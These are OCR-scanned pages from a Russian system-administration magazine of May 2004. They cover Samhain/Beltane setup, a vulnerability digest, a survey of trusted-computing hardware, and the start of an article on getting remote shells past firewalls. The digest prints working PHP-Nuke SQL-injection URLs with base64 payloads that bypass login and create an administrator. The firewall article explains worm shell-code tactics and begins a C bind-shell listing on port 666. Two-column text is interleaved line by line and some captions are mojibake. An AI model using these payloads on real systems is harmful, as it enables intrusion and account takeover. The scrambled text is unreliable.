ветую ознакомиться. После чего, используя опции команды configure, по-
И в завершение приведу примеры сообщений, выда- правляем. В зависимости от того как используется PHP,
ваемых Samhain, которые в особенном комментарии не как программа CGI или модуль apache, Beltane должен
нуждаются. быть сконфигурирован с различными параметрами для
сценария ./configure.
Основными опциями являются:
! --with-php-dir=DIR,
! --with-php-extension=EXT,
! --enable-mod-php,
! --with-user=USERNAME.

В результате в корневом каталоге веб-сервера должен


появиться подкаталог (по умолчанию php), содержащий
рабочие файлы. И теперь, введя в строке браузера путь к
этим данным, можно управлять информацией и настрой-
ками. По умолчанию используется логин/пароль rainer/
wichmann (рис. 3), его необходимо обязательно изменить
через веб-интерфейс или воспользовавшись утилитой
makepasswd.pl.
Пояснения, наверное, требуют разве что конструкции
вида <POLICY [ReadOnly] C--I----TS>. Все просто, здесь
указана действующая политика и параметры, которые из-
менились со времени последней проверки. Их расшиф-
ровка такая:
! «C» – контрольная сумма,
! «L» – мягкие ссылки,
! «D» – номер устройства (device number),
! «I» – inode,
! «H» – количество жестких ссылок «hardlinks»,
! «M» – режим «mode»,
! «U» – владелец «user»,
! «G» – группа «group»,
! «T» – время «time» (любое),
! «S» – указывает на изменившийся размер «size» файла.

И пару слов о Beltane (http://www.la-samhna.de/beltane/


index.html), представляющей собой консоль управления
и получения информации от клиентов, доступную через
веб-интерфейс. Работает в клиент/серверной среде с Мы не рассмотрели еще много вопросов, например,
поддержкой регистрации на SQL базу данных. Для рабо- развертывание удаленных конфигураций, позволяющих
ты необходим веб-сервер Apache, PHP. На клиентской в полуавтоматическом режиме развернуть систему для
стороне требуется веб-браузер с поддержкой Javascript большого числа компьютеров, включая сервер. Подроб-
и включенным Cookies. На сайте доступны две версии но этот процесс описан в разделе «Deployment to remote
Beltane: свободная 1.0.4 и платная 2.x, имеющая ряд до- hosts». Не сказано совсем ничего про установку и настрой-
полнительных возможностей, для пароля доступа к ко- ку под Windows NT/2000/XP, применение стеганографии.
торой потребуется выложить 25 Euro. Документация на- Но описанного в статье достаточно для базовой установ-
ходится в архиве. ки и настройки, а главное для понимания возможностей.
Распаковываем, конфигурируем и в конце проверяем При необходимости оставшиеся вопросы будут освеще-
правильность установок. ны в следующий раз.

60
bugtraq

Sql-инъекция и межсайтовый скриптинг Переполнение буфера в Panda ActiveScan


в PHP-Nuke Программа: Panda ActiveScan 5.0
Программа: PHP-Nuke 6.0-7.2. Опасность: Высокая.
Опасность: Высокая. Описание: Переполнение буфера обнаружено в Panda
Описание: Несколько уязвимостей обнаружено в PHP- ActiveScan. Удаленный пользователь может выполнить
Nuke. Удаленный пользователь может внедрить произ- произвольный код на целевой системе.
вольные SQL-команды. Злонамеренный пользователь мо- Переполнение буфера обнаружено в ascontrol.dll. Если
жет выполнить XSS-нападение. целевой пользователь предварительно запустил Panda
1. Данные, представленные пользователем к параметру ActiveScan, то удаленный пользователь может сконструиро-
«user», base64 декодируются перед использованием в SQL- вать HMTL, использующий ASControl.ReportHebrew.1-объект
запросе. В результате злонамеренный пользователь может со специально обработанным значением «Internacional»,
внедрить символы, которые обычно фильтруются, чтобы ма- чтобы вызвать переполнение буфера и выполнить произ-
нипулировать SQL-запросами. Пример (позволяет обойти вольный код на системе.
процедуру аутентификации и читать приватные сообщения): Решение: Установите обновленную версию уязвимой ком-
http://localhost/nuke71/modules.php? поненты. Обновленная версия будет установленна авто-
name=Private_Messages&file=index&folder=inbox&mode=read&p= ↵
1&user= ↵ матически при следующем выполнении on-line-сканиро-
eDpmb28nIFVOSU9OIFNFTEVDVCAyLG51bGwsMSwxLG51bGwvKjox вания.
2.Уязвимость, подобная 1, обнаружена в параметре
«admin». Пример (удаленный пользователь может выпол- Удаленное переполнение буфера
нять некоторые административные функции, типа добав- в обработчике HTML-сообщений
ления пользователя): в IMail Express
http://localhost/nuke71/admin.php? Программа: IMail Express до версии 8.05.
op=AddAuthor&add_aid=waraxe2&add_name=God&add_pwd= ↵
coolpass&add_email=foo@bar.com ↵ Опасность: Критическая.
&add_radminsuper=1&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox Описание: Уязвимость обнаружена в IMail Express. Зло-
Также сообщаетя об XSS-уязвимости в некоторых ис- намеренный пользователь может скомпрометировать уяз-
пользуемых темах. вимую систему.
URL производителя: http://phpnuke.org. Удаленный пользователь может представить специаль-
Решение: Изучите исходный код и внесите соответству- но обработанное HTML-сообщение, содержащее тэг text
ющие исправления. длиннее 1024 байт, чтобы вызвать переполнение буфера
в обработчике HTML-сообщений в Web Messaging. Уязви-
Удаленный отказ в обслуживании мость может использоваться для выполнения произволь-
Kerio WinRoute Firewall ного кода.
Программа: Kerio WinRoute Firewall до версии 5.1.10. URL производителя: http://www.IpSwitch.com.
Опасность: Низкая. Решение: Установите обновленную версию программы:
Описание: Уязвимость обнаружена в Kerio WinRoute ftp://ftp.ipswitch.com/install/imailex.exe.
Firewall. Уязвимость в работке HTTP-заголовков может
привезти к аварийному завершению работу программы. Удаленное выполнение произвольного
Дополнительные подробности не раскрываются. кода в HAHTsite Scenario Server
URL производителя: http://www.kerio.com/kms_home.html. Программа: HAHTsite Scenario Server 5.1 Patches 1 – 6.
Решение: Установите обновленную версию программы Опасность: Высокая.
(5.1.10): http://www.kerio.com/kwf_download.htm Описание: Уязвимость обнаружена в HAHTsite Scenario
Server. Удаленный пользователь может выполнить произ-
Создание произвольных файлов вольный код на целевой системе.
на целевой системе в CVS Удаленный пользователь может представить специаль-
Программа: CVS 1.11.15. но обработанный запрос с чрезмерно длинным именем
Опасность: Средняя. проекта, чтобы вызвать переполнение буфера и переза-
Описание: Две уязвимости обнаружены в CVS. Уязви- писать регистр EIP и выполнить произвольный код на си-
мость обнаружена в обработке имени пути в RCS diff-фай- стеме с SYSTEM-привилегиями.
лах. Когда целевой пользователь выполняет CVS checkout Пример:
или обновление через сеть, то клиент целевого пользова-
теля принимает абсолютные пути. В результате удален- http://[hostname]/[cgialias]/hsrun.exe/[ServerGroupName]/ ↵
[ServerGroupName]/[VeryLongProjectName].htx;start=[PageName]
ный сервер может создать произвольные файлы на сис-
теме подключенного пользователя. Также сообщается, что URL производителя: http://www.haht.com.
удаленный авторизованный пользователь может просмот- Решение: Установите обновленную версию программы:
реть содержание RCS-архивных файлов на CVS-сервере. ftp://ftp.haht.com/pub/support/fixes/hs51/build91/ox79989_
URL производителя: http://www.cvshome.org. buffer_overrun_fix.zip.
Решение: Установите последнюю версию программы:
http://ccvs.cvshome.org/servlets/ProjectDownloadList. Составил Александр Антипов

№5(18), май 2004 61


безопасность

ЧТО ЖДЕТ ПЕРСОНАЛЬНЫЕ


КОМПЬЮТЕРЫ ЗАВТРА?

МАКСИМ КОСТЫШИН
В январе 2004 года группа экспертов по компьютерной бе- кую степень различного рода рисков при использовании
зопасности SPRG (the Security Peer Review Group) опуб- персональных компьютеров и Интернета, что эксперты
ликовала отчет с итогами анализа защищенности экспе- SPRG настойчиво рекомендовали заморозить все рабо-
риментальной системы голосования SERVE (Secure ты в этом направлении и использовать альтернативную
Electronic Registration and Voting Experiment). Основная систему, в которой электронная часть системы голосова-
цель программы, в рамках которой разрабатывалась сис- ния должна была представлять собой умный принтер и не
тема SERVE, заключалась в предоставлении гражданам более, на основе киосков, расположенных в консульствах
США, находящимся за пределами страны, а также воен- и на военных базах по всему миру. Киоски, согласно тре-
ным, морякам и другим категориям граждан, которые по бованиям специалистов, не должны подключаться к Ин-
роду своей деятельности большую часть времени нахо- тернету. Весь обмен данными, обновление программно-
дятся в движении, возможности выполнения процедуры го обеспечения рекомендовано было выполнять с исполь-
заочного голосования с использованием Интернета на зованием твердых носителей, а бюллетени в бумажном
предварительных и основных выборах руководства стра- виде пересылать для окончательного подсчета в родные
ны. Результаты исследований показали настолько высо- округа.

62
безопасность
Основными невозможными для решения в настоящее overrun), которые использовались, например, в MSBlaster
время проблемами были названы: и Slammer.
! текущая организация регулирования работы Интерне- Принцип защиты основан на механизме запрета вы-
та, а также использование устаревших протоколов и полнения процессором любого программного кода, запи-
технологических решений, которые не удовлетворяют санного в буфер данных в случаях переполнения. При этом
необходимому уровню безопасности; для контроля используется дополнительный флаг NX (Non
! отсутствие мер в рамках существующей архитектуры eXecutive, запрещено исполнение кода из страницы). С по-
персональных компьютеров, позволяющих обеспечить мощью указанного флага помечаются границы стека про-
гарантированную защиту конфиденциальных данных граммы. Если переполнение буфера происходит, и дан-
своих владельцев и самих PC от различного рода атак. ные затирают информацию стека, процессор отслежива-
ет эту ситуацию и выдает ошибку доступа памяти. Таким
Интернет-голосование является одним из компонентов образом, в случаях, если в памяти компьютера появляет-
электронного правительства, а проблемы, которые в оче- ся зловредный код, который эксплуатирует ошибку раз-
редной раз осветили специалисты SPRG, весьма актуаль- работчиков приложения с использованием переполнения
ны для любой составляющей. Поэтому устранение основ- буфера, то атакующий код не будет активизирован, а при
ных препятствий может существенно продвинуть обще- выключении ПК – просто уничтожится.
ство в развитии технологий электронного правительства Для решения текущих вопросов безопасности техно-
и электронной коммерции, повысить уровень доверия ря- логия Execution Protection является наиболее востребован-
довых пользователей к услугам, предоставляемым с ис- ной рядовыми пользователями компьютеров. По оценкам
пользованием Интернета. специалистов более 50% уязвимостей Microsoft Windows
Если остановиться на первой проблеме, то в после- могли бы быть локализованы с помощью применения по-
днее время в прессе появилось много информации о воз- добных решений. Однако еще раз напомним о том, что
росшем интересе к проблемам регулирования Интернета технология хотя уже и реализована в процессорах Athlon
не только со стороны государств, но и со стороны таких 64, Opteron, однако реально заработает только на плат-
серьезных международных организаций, как ООН и Ев- форме Windows XP после выпуска Microsoft пакета обнов-
росоюз. Это уже не просто расширение слежки за интер- ления SP2. И все же Execution Protection не является пол-
нет-трафиком со стороны спецслужб различных госу- ным решением проблемы buffer overflow. Применение тех-
дарств, а создание отдельных государственных органи- нологии просто не позволяет злоумышленникам эксплуа-
заций, целью которых является разработка рекомендаций тировать ошибки переполнения буфера с возможностью
по законному использованию Интернета, выработка ме- проведения атак. Без установки обновлений продуктов
тодик расследования правонарушений, защита интересов атаки на такого рода уязвимости будут приводить к ава-
большого количества участников интернет-рынка. Обще- рийному завершению приложения, вызвавшего ошибку.
ственное мнение уже формируется в сторону необходи- Компания Intel предусматривала ввести аналогичную
мости принятия принципиально новых решений для вне- схему в Prescott. Однако среди характеристик процессо-
сения изменений в регулирование работы глобальной сети ра, заявленных производителем, данные о поддержке под-
Интернет. робной технологии отсутствуют.
Решение второй проблемы в практическом плане про- Для получения дополнительной информации о техно-
двинулось намного дальше. Для повышения уровня безо- логии Execution Protection желающие могут обратиться к
пасности персональных компьютеров уже имеются конк- статье С.Озерова и А.Карабуто [5].
ретные как теоретические разработки, так и аппаратно-
программные решения различных сообществ и фирм-про- Технология EMBASSY от Wave
изводителей. В данной статье приводится перечень и крат- Открытый стандарт EMBedded Application Security SYstem
кое описание реализаций уже появившихся на мировом (EMBASSY), был разработан компанией Wave (http://
рынке и тех, которые будут представлены в ближайшее www.wave.com/technology/embassy.html). Он представля-
время. ет собой использование специального вспомогательного
чипа EMBASSY, содержащего собственный микропроцес-
Решение Execution Protection сор, модуль шифрования, таймер и защищенную память.
компании AMD Особенности включения чипа в архитектуру компьютера
Технология Execution Protection была разработана ком- позволяют ему полностью контролировать работу PC. При
панией AMD (http://www.amd.com/). Ее элементами яв- этом имеет место сосуществование двух сред – обычной
ляются процессор AMD64 и Windows XP Service Pack 2, операционной системы, запускающей и обеспечивающей
выход которого планируется в середине 2004 года. работу пользовательских приложений, и изолированной
Execution Protection была создана для того, чтобы про- и защищенной, обладающей, кроме всего прочего, воз-
тиводействовать атакам определенных видов вирусов. можностями безопасного хранения критичных данных
Расширенная технология защиты от вирусов AMD в (криптографических ключей, цифровых сертификатов,
сочетании с Data Execution Prevention компании Microsoft, личных данных и т. п.).
включенной в состав Windows XP SP2, решают задачи Чип EMBASSY был применен при разработке аппарат-
защиты от атак, эксплуатирующих достаточно распрост- ного криптопровайдера EMBASSY CSP (Cryptographic Service
раненный тип ошибок – выход за границы буфера (buffer Provider) для Windows (со стандартным интерфейсом

№5(18), май 2004 63


безопасность
Microsoft CSP) в виде модуля, подключаемого к компью- VIA Padlock Security
теру с использованием шины USB. 19 марта 2004 года на выставке CeBIT в Ганновере (Гер-
мания) было объявлено о выпуске программного пакета
Технология VIA PadLock компании VIA VIA PadLock Security, включающего утилиту VIA PadLock
Компания VIA Technologies, Inc (http://www.viatech.com/) сде- SecureLine (SL) Utility и средство программной разработ-
лала уже несколько серьезных шагов в сторону обеспече- ки (SDK). Утилита представляет собой пример реализа-
ния гибких решений для быстрой, эффективной и безопас- ции защищенного обмена сообщениями и файлами, а SDK
ной корпоративной связи в рамках реализации VIA PadLock. может быть использовано разработчиками для того, что-
Это инициативы Hardware Security Suite и VIA Padlock Security. бы создавать новые приложения безопасности, которые
решают конкретные нужды клиентов.
VIA PadLock Hardware Security Suite Пакет VIA PadLock Security полностью совместим со
На первом этапе VIA первой в мире включила в разработ- средами семейства операционных систем Microsoft
ку x36 процессора (первые версии ядра Nehemiah) снача- Windows и Linux. VIA PadLock Security работает на любой
ла генератор случайных чисел VIA PadLock RNG (Random платформе с x86 процессором, однако максимальная про-
Number Generator), а затем, в последнем ядре C5P изводительность достигается при использовании аппарат-
Nehemiah (процессоры Eden, C3, Antaur), добавила вто- ных возможностей процедуры генерации случайных чи-
рой генератор и криптографический блок VIA PadLock ACE сел VIA PadLock Random Number Generator и шифрова-
(Advanced Cryptography Engine), поддерживающий стан- ния с использованием алгоритма AES VIA PadLock
дарт шифрования AES (Advanced Encryption Standard). Advanced Cryptography Engine, встроенных в ядро C5P
Согласно официальным данным компании Cryptography Nehemiah процессоров Eden, Antaur и C3.
Research, Inc., полученным в феврале 2003 года, произ- Для сводного использования (http://www.viaarena.com/
водительность генератора случайных чисел VIA C3 ?PageID=399) имеются две версии, рассчитанные для ра-
Nehemiah random number generator оценивается в диапа- боты в Microsoft Windows 2000 или XP и Red Hat Linux 9.0.
зоне 30-50 Мбит/сек для получения необработанных бит По заявлениям VIA функциональность VIA PadLock SL
(raw bits) и 4-9 Мбит/сек для очищенных бит (whitened bits). может быть легко расширена для реализации защищен-
Некоторые данные о производительности криптогра- ных IP-телефонии и видеоконференций. Кроме того, ис-
фического модуля процессора VIA C3 1.2 ГГц приведены пользование VIA PadLock Security позволит решить про-
в трех таблицах, далее по тексту (для сравнения, про- блемы производительности для операций шифрования
граммная реализация AES на компьютере с процессором данных жесткого диска, а также их надежного удаления.
Intel Pentium 4 3 ГГц обеспечивает производительность Любое компьютерное приложение, требующее решения
около 200 Мбайт/сек). задач конфиденциальности и защищенности (например,
электронная почта), может использовать возможности VIA
PadLock для генерации надежной ключевой пары (откры-
тый/личный ключ) для защиты данных от модификаций и
обеспечения вопросов конфиденциальности.

LaGrande от Intel
Решение LaGrande (LaGrande Technology – LT) было впер-
вые представлено Intel в 2002 году на традиционном фо-
руме Intel Developer Forum (IDF). Технология получила свое
название в честь американского городка, расположенно-
го в штате Орегон. В основе LaGrande лежит механизм
помещения каждого из выполняющихся на компьютере
процессов в свою изолированную оболочку. Тем самым
разработчики попытались максимально снизить различ-
ного рода риски, связанные с несанкционированным дос-
тупом к данным и программному коду. Аппаратная часть
решения опирается на использование специального чипа,
который носит общее название Trusted Platform Module
(TPM) и выполнен в рамках открытой спецификации
Trusted Computing Group – TCG (с осени 1999 года до вес-
ны 2003 года работу в этой области вела организация под
названием Trusted Computing Platform Alliance – TCPA)
версии 1.2. Технология подразумевает криптографичес-
кую защиту обмена данными IDE, USB и PS/2 интерфей-
сов между всеми компонентами, обеспечивающими вза-
имодействие оператора с компьютером (клавиатура,
мышь, видеоплата). Компьютеры, которые защищены
LaGrande, должны содержать, кроме нового элемента

64
безопасность
TPM, привычные компоненты, в то же время отличающи- при внедрении конкретных решений в технологию свои
еся от тех, которые мы используем в настоящее время дополнения, которые расширят функциональность и сни-
(речь идет в том числе о материнской плате, процессоре, зят безопасность системы. В связи с тем, что технология
BIOS). еще «не обкатана», есть вероятность того, что некоторые
Поддержка LaGrande официально заявлена Intel в ха- не учтенные в спецификации моменты могут случайно или
рактеристиках недавно представленного на рынке процес- под влиянием нюансов закулисной конкурентной борьбы
сора Prescott. Кроме того, в процессоре реализованы воз- привести к небольшим отличиям в реализациях различ-
можности еще одной технологии Intel – Vanderpool, обес- ных производителей hardware или software (на уровне опе-
печивающей аппаратную поддержку независимой парал- рационной системы), что повлечет за собой отсутствие
лельной работы нескольких операционных систем. При переносимости решений разработчиков программного
этом возможна независимая перезагрузка любой из них. обеспечения прикладного уровня.
Помимо аппаратных новшеств технология LaGrande По мнению некоторых специалистов, технология при-
для своего использования требует программной поддер- несет больше пользы для Windows-систем, и в меньшей
жки на уровне операционной системы, а также пользова- степени необходима для UNIX-подобных систем, что свя-
тельских приложений. Microsoft планирует реализовать зано с принципиальными различиями в архитектурах
возможности защиты LaGrande, встроив NGSCB (Next- этих ОС.
Generation Secure Computing Base, в недавнем прошлом – Широкое применение технологий TCG, кроме вопро-
Palladium) в свою очередную операционную систему сов обеспечения повышенных мер безопасности, предос-
Longhorn. Данных о реализации поддержки технологии в тавляет разработчикам дополнительные возможности для
UNIX-системах пока нет. Так что желающим увидеть применения новых подходов к решению задачи защиты
LaGrande в действии придется еще некоторое время по- авторских прав. При этом проблемы использования и рас-
дождать. пространения контрафактного программного обеспече-
ния, а также аудио- и видеопродукции в цифровом фор-
Подводя итог мате, особенно для стран бывшего СССР, могут встать
Представленные в обзоре технологии представляют со- весьма остро.
бой решения, построенные на открытой спецификации
Trusted Computing Group – TCG с использованием допол- Ссылки:
нительного модуля, реализующего (в большей или мень- 1. A Security Analysis of the Secure Electronic Registration
шей степени) функциональность Trusted Platform Module – and Voting Experiment (SERVE). January 20, 2004.
TPM (исключение – технология Execution Protection). http://www.servesecurityreport.org;
Особенностью спецификации TCG является приме- 2. Хранитель печатей. Р.Матвеенко.
нение технических подходов, позволяющих решить воп- http://www.comprice.ru/safe/2003-23.phtml;
росы изолированного выполнения программ на персо- 3. VIA расширяет инициативу безопасности PadLock с вы-
нальном компьютере и защиты ядра функционирующей пуском пакета VIA PadLock Security Suite. Пресс-релиз.
системы, определить защищенное хранилище конфиден- http://www.via-c3.ru/press/pr190304_2.shtml;
циальных данных, а также обеспечить повышенную про- 4. Технологии компьютерной безопасности. Часть 1. Intel
изводительность для основных криптографических опе- LaGrande Technology — архитектура компьютерной бе-
раций (генерация случайных чисел, создание надежных зопасности. С.Озеров.
ключей, шифрование, выработка и проверка электрон- http://www.terralab.ru/system/32571;
ной цифровой подписи, выполнение операций хэширо- 5. Технологии компьютерной безопасности. Часть 2. AMD
вания). Execution Protection – маленькая революция. С.Озеров,
Несложно прогнозировать, что интерес разработчиков А.Карабуто.
средств защиты от несанкционированного доступа, а так- http://www.terralab.ru/system/32706/;
же различного рода программных решений в области ком- 6. Защита подождет? В. Соболев. Журнал «Мир ПК»,
пьютерной безопасности, будет смещаться к использова- №02, 2004 год.
нию возможностей, предлагаемых в рамках открытой спе- http://www.osp.ru/pcworld/2004/02/028.htm;
цификации. Наличие в составе группы TCG известных 7. Концепция LaGrande: аппаратная защита одних про-
производителей компьютеров и комплектующих к ним, а грамм от других. А.Медведев.
также программного обеспечения, позволяет обоснован- http://www.ixbt.com/editorial/lagrande.html;
но предсказывать хорошее будущее решениям на основе 8. LaGrande – технология защиты от внешних посяга-
модуля TPM. Нет сомнения, что коммерческие продукты, тельств. В.Володин.
в которых реализованы TCG-подходы, найдут свое при- http://tech.stolica.ru/article.php?id=2003101201;
менение и в государственных системах, критичных к воп- 9. TCG PC Specific Implementation Specification Version 1.1.
росам безопасности, в виде COTS (Commercial-off-the- August 18, 2003.
Shelf) компонент. https://www.trustedcomputinggroup.org/downloads/
В то же время автору неизвестно о проведении неза- TCG_PCSpecificSpecification_v1_1.pdf;
висимого анализа самой технологии и сделанных на ос- 10. Trusted Computing Group. Backgrounder. May 2003.
нове детального изучения выводах. Кроме того, нельзя https://www.trustedcomputinggroup.org/downloads/
гарантировать, что каждый из разработчиков не внесет TCG_Backgrounder.pdf.

№5(18), май 2004 65


безопасность

ПОБЕГ ЧЕРЕЗ БРАНДМАУЭР


ПЛЮС ТЕРМИНАЛИЗАЦИЯ ВСЕЙ NT
Первый этап работы
над составлением программы – шумиха.
Второй – неразбериха.
Третий – поиски виноватых.
Четвертый – наказание невиновных.
Пятый – награждение непричастных.

Из фольклора программистов

В настоящей статье рассматриваются различные способы обхода брандмауэров с целью


организации на атакуемом компьютере удаленного терминального shell, работающего
под операционными системами UNIX и Windows 9x/NT. Здесь вы найдете передовые хакерские
методики, свободно проникающие через любой, абсолютно любой брандмауэр независимо
от его архитектуры, степени защищенности и конфигурации, а также свободно распространяемый
пакет демонстрационных утилит, предназначенный для тестирования вашего брандмауэра
на предмет его защищенности (или же отсутствие таковой). Статья ориентирована на специалистов
по информационной безопасности и системных администраторов, знакомых с языком Си
и имеющих опыт работы с Berkley-сокетами.

КРИС КАСПЕРСКИ
66
безопасность
Проникнув на уязвимый компьютер, голова червя должна раничить своих пользователей в правах, чем нести мо-
установить TCP/IP- (или UDP-) соединение с исходным уз- ральную ответственность за поддержание жизнедеятель-
лом и подтянуть свое основное тело (также называемое ности всякой заразы. Однако в отношении червей, рас-
«хвостом»). Аналогичной методики придерживаются и ха- пространяющихся через стандартные порты популярных
керы, засылающие на атакуемый компьютер диверсион- сетевых служб, этот прием не срабатывает, и брандмау-
ный эксплоит, срывающий стек и устанавливающий уда- эр беспрепятственно пропускает голову червя внутрь кор-
ленный терминальный shell, взаимодействующий с узлом поративной сети.
атакующего посредством того же самого TCP/IP, и в этом
контексте между червями и хакерами нет никакой прин-
ципиальной разницы (нередко установка backdoor с по-
мощью червей и осуществляется).
Однако на пути червя может оказаться недружелюб-
но настроенный брандмауэр, которые сейчас в моде и
без него не обходится практически ни одна уважающая
себя корпоративная сеть. Да что там сеть – брандмауэр
и на домашних компьютерах уже не редкость. Между тем,
слухи о могуществе брандмауэров очень сильно преуве- Ðèñóíîê 1. Ðàñïðåäåëåíèå èíòåíñèâíîñòè àòàê íà ðàçëè÷íûå
личены и в борьбы с червями они до ужаса неэффектив- ïîðòû ïî ðåãèîíàì
ны. Хотите узнать почему? Тогда читайте эту статью до Но забросить shell-код на вражескую территорию – это
конца! только половина дела. Как минимум еще требуется про-
тащить через все межсетевые заслоны основное тело
Что может и что не может брандмауэр червя (то есть хвост), а как максимум – установить тер-
Брандмауэр может наглухо закрыть любой порт, выбороч- минальный backdoor shell, предоставляющий атакующе-
но или полностью блокируя как входящие, так и исходя- му возможность удаленного управления захваченной си-
щие соединения, однако этот порт не может быть портом стемой.
действительно нужной публичной службы, от которой Может ли брандмауэр этому противостоять? Если он
нельзя отказаться. Так, например, если фирма имеет соб- находится на одном узле с атакуемым сервером и shell-
ственный почтовый сервер, в обязательном порядке дол- код исполняется с наивысшими привилегиями, то атаку-
жен быть отрыт 25-й SMTP-порт (а иначе как прикажете ющий может делать с брандмауэром все, что ему только
письма получать?). Соответственно наличие веб-сервера заблагорассудится, в том числе и изменять его конфигу-
предполагает возможность подключения к 80-му порту из рацию на более демократическую. Этот случай настолько
«внешнего мира». прост, что его даже неинтересно рассматривать. Давайте
Допустим, что одна или несколько таких служб содер- лучше исходить из того, что брандмауэр и атакуемый сер-
жат уязвимости, допускающие возможность переполне- вис расположены на различных узлах, причем сам бранд-
ния буфера со всеми вытекающими отсюда последствия- мауэр правильно сконфигурирован и лишен каких бы то
ми (захват управления, несанкционированная авториза- ни было уязвимостей.
ция и т. д.). Тогда никакой, даже самый продвинутый бран- Самое простое (и самое естественное) – поручить
дмауэр не сможет предотвратить вторжение, поскольку shell-коду открыть на атакованном узле новый, заведо-
пакеты с диверсионным shell-кодом на сетевом уровне нео- мо никем не использованный порт (например, порт 666)
тличимы от пакетов с легальными данными. Исключение и терпеливо ждать подключений с удаленного узла, осу-
составляет поиск и отсечение головы вполне конкретного ществляющего засылку основного вирусного кода.
червя, сигнатура которого хорошо известна брандмауэ- Правда, если администратор системы не новичок,
ру. Однако наложение заплатки на уязвимый сервис бу- все входящие соединения на все непубличные порты
дет намного более эффективным средством борьбы (слу- будут безжалостно отсекаться брандмауэром. Однако
чай, когда червь опережает заплатку, мы не рассматри- атакующий может схитрить и перенести серверную
ваем, поскольку такие существуют только теоретически). часть червя на удаленный узел, ожидающий подключе-
Кстати говоря, брандмауэр и сам по себе представляет ний со стороны shell-кода. Исходящие соединения бло-
довольно соблазнительный объект для атаки (некоторые кируются далеко не на всех брандмауэрах, хотя в прин-
из брандмауэров имели переполняющиеся буфера, допус- ципе такая возможность у администратора есть. Но гра-
кающие захват управления). мотно спроектированный червь не может позволить
Но как бы там ни было, срыву буфера уязвимой служ- себе закладываться на разгильдяйство и попуститель-
бы брандмауэр никак не препятствует. Единственное, что ство администраторов. Вместо установки нового TCP/
он может сделать – это свести количество потенциаль- IP-соединения он должен уметь пользоваться уже су-
ных дыр к разумному минимуму, закрыв порты всех ществующим – тем, через которое и была осуществле-
служб, не требующих доступа извне. В частности, червь на засылка головы червя. В этом случае брандмауэр
Love San, распространяющийся через редко используе- будет бессилен что-либо сделать, т.к. с его точки зре-
мый 135-порт, давно и небезуспешно отсекается бранд- ния все будет выглядеть вполне нормально. Откуда же
мауэрами, стоящими на магистральных интернет-кана- ему, бедолаге, знать, что вполне безобидное с виду и
лах, владельцы которых посчитали, что лучше слегка ог- легальным образом установленное TCP/IP-соединение

№5(18), май 2004 67


безопасность
обрабатывает отнюдь не сервер, а непосредственно сам Устанавливаем соединение
shell-код, поселившийся в адресном пространстве пос- с удаленным узлом
леднего. Сейчас мы рассмотрим пять наиболее популярных спосо-
Существует несколько путей захвата ранее установ- бов установки TCP/IP-соединения с атакуемым узлом, два
ленного TCP/IP-соединения (если кто раньше читал мои из которых легко блокируются брандмауэрами, а остав-
статьи, датированные годом эдак 1998, то там я назы- шиеся три представляют собой серьезную и практически
вал это «передачей данных в потоке уже существующе- неразрешимую проблему.
го TCP/IP-соединения», но этот термин не прижился). Для осуществления всех описываемых в статье экспе-
Первое и самое глупое – обратиться к переменной деск- риментов вам понадобится:
риптора сокета по фиксированным адресам, специфич- ! утилита netcat, которую легко найти в Интернете и ко-
ным для данного сервера, которые атакующий может торая у каждого администратора всегда должна быть
получить путем его дизассемблирования. Но такой спо- под рукой;
соб не выдерживает никакой критики, здесь он не рас- ! локальная сеть, состоящая как минимум из одного ком-
сматривается (тем не менее, знать о его существовании пьютера;
будет все-таки полезно). ! любой симпатичный вам брандмауэр;
Уж лучше прибегнуть к грубой силе, перебирая все ! операционная система типа Windows 2000 или выше
возможные дескрипторы сокетов один за другим и тем (все описываемые технологии прекрасно работают и
или иным образом определяя, какой из них заведует «на- на UNIX, но исходные тексты демонстрационных при-
шим» TCP/IP-соединением. Поскольку в операционных меров ориентированы именно на Windows).
системах семейства UNIX и Windows 9x/NT дескрипторы
сокетов представляют собой вполне упорядоченные и не- bind exploit, или «детская» атака
большие по величине целочисленные значения (обычно Идея открыть на атакованном сервере новый порт может
заключенные в интервале от 0 до 255), их перебор зай- «осенить» разве что начинающего хакера, не имеющего
мет совсем немного времени. Как вариант можно вос- реального опыта программирования сокетов и не пред-
пользоваться повторным применением адресов, сделав ставляющего, насколько этот способ нежизнеспособен и
re-bind на открытый уязвимым сервером порт. Тогда все уязвим. Тем не менее многие черви именно так и распро-
последующие подключения к атакованному узлу будут страняются, поэтому имеет смысл поговорить об этом
обрабатываться отнюдь не прежним владельцем порта, поподробнее.
а непосредственно самим shell-кодом (неплохое средство
перехвата секретного трафика, а?). Наконец, shell-код мо-
жет просто «прибить» уязвимый процесс и открыть пуб-
личный порт заново.
Как вариант – червь может умертвить атакуемый про-
цесс, автоматически освобождая все отрытые им порты и
дескрипторы. Тогда повторное открытие уязвимого порта
не вызовет никаких протестов со стороны операционной
системы. Менее агрессивный червь не будет ничего зах-
ватывать, никого убивать и вообще что-либо трогать. Он Ðèñóíîê 2. Àòàêóþùèé çàñûëàåò shell-êîä íà óÿçâèìûé ñåðâåð,
ãäå shell-êîä è îòêðûâàåò íîâûé ïîðò N, ê êîòîðîìó âïîñëåä-
просто переведет систему в неразборчивый режим, про- ñòâèè ïîäêëþ÷àåòñÿ àòàêóþùèé, åñëè, êîíå÷íî, íà åãî ïóòè íå
слушивая весь проходящий трафик, с которым атакующий âñòðåòèòñÿ áðàíäìàóýð
должен передать оставшийся хвост. Программная реализация серверной части shell-кода
И на закуску: если ICMP-протокол хотя бы частично совершенно тривиальна и в своем каноническом виде
разрешен (чтобы пользователи внешней сети не доста- состоит из следующей последовательности системных
вали администратора глупыми вопросами, почему умирает вызовов: socket → bind → listen → accept, организованных
ping), то shell-код может запросто обернуть свой хвост приблизительно следующим образом:
ICMP-пакетами! В самом крайнем случае червь может
послать свое тело и в обычном электронном письме (ко- Ëèñòèíã 1. Êëþ÷åâîé ôðàãìåíò shell-êîäà, îòêðûâàþùåãî
íà àòàêóåìîì ñåðâåðå íîâûé ïîðò.
нечно, при условии, что он сможет зарегистрировать на
почтовом сервере новый ящик или похитить пароли одно- // ïîðò, êîòîðûé ýêñïëîèò áóäåò ñëóøàòü
#define HACKERS_PORT 666
го или нескольких пользователей, что при наличии sniffer // øàã 1: ñîçäàåì ñîêåò
не является проблемой). if ((lsocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;
Таким образом, никакой, даже самый совершенный и // øàã 2: ñâÿçûâàåì ñîêåò ñ ëîêàëüíûì àäðåñîì
правильно сконфигурированный брандмауэр не защитит laddr.sin_family = AF_INET;
laddr.sin_port = htons(HACKERS_PORT);
